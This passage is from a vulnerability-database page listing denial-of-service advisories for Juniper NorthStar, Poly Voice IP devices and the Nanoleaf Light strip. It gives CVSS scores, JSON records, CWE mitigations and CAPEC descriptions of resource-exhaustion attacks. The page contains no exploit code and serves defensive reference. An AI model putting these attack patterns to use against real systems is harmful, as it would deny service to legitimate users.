      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30681"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250502-0006"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GVC9-VW59-3QXX

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

A denial of service vulnerability in Juniper Networks NorthStar Controller Application prior to version 2.1.0 Service Pack 1, may allow an authenticated user to cause widespread denials of service to system services by consuming TCP and UDP ports which are normally reserved for other system services.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-2322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-24T18:59:00Z",
    "severity": "MODERATE"
  },
  "details": "A denial of service vulnerability in Juniper Networks NorthStar Controller Application prior to version 2.1.0 Service Pack 1, may allow an authenticated user to cause widespread denials of service to system services by consuming TCP and UDP ports which are normally reserved for other system services.",
  "id": "GHSA-gvc9-vw59-3qxx",
  "modified": "2022-05-13T01:44:45Z",
  "published": "2022-05-13T01:44:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2322"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA10783"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97613"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GVGX-6FX4-X6G9

Vulnerability from github – Published: 2026-07-01 15:35 – Updated: 2026-07-01 15:35
VLAI
Details

The following Poly Voice IP devices, CCX, Trio, and Edge E, might be inoperable if they connect to a malicious SIP server and receive malformed data. HP is releasing updates to mitigate these potential vulnerabilities.

Severity
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-2891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T15:17:06Z",
    "severity": "HIGH"
  },
  "details": "The following Poly Voice IP devices, CCX, Trio, and Edge E, might be inoperable if they connect to a malicious SIP server and receive malformed data. HP is releasing updates to mitigate these potential vulnerabilities.",
  "id": "GHSA-gvgx-6fx4-x6g9",
  "modified": "2026-07-01T15:35:20Z",
  "published": "2026-07-01T15:35:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2891"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_15222895-15222917-16/hpsbpy04096"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GVH8-JH2Q-C22G

Vulnerability from github – Published: 2023-10-31 18:31 – Updated: 2023-11-06 15:30
VLAI
Details

An issue discovered in Nanoleaf Light strip v3.5.10 allows attackers to cause a denial of service via crafted write binding attribute commands.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-45955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-31T18:15:08Z",
    "severity": "HIGH"
  },
  "details": "An issue discovered in Nanoleaf Light strip v3.5.10 allows attackers to cause a denial of service via crafted write binding attribute commands.",
  "id": "GHSA-gvh8-jh2q-c22g",
  "modified": "2023-11-06T15:30:31Z",
  "published": "2023-10-31T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IoT-Fuzz/IoT-Fuzz/blob/main/Nanoleaf%20Lightstrip%20Vulnerability%20Report.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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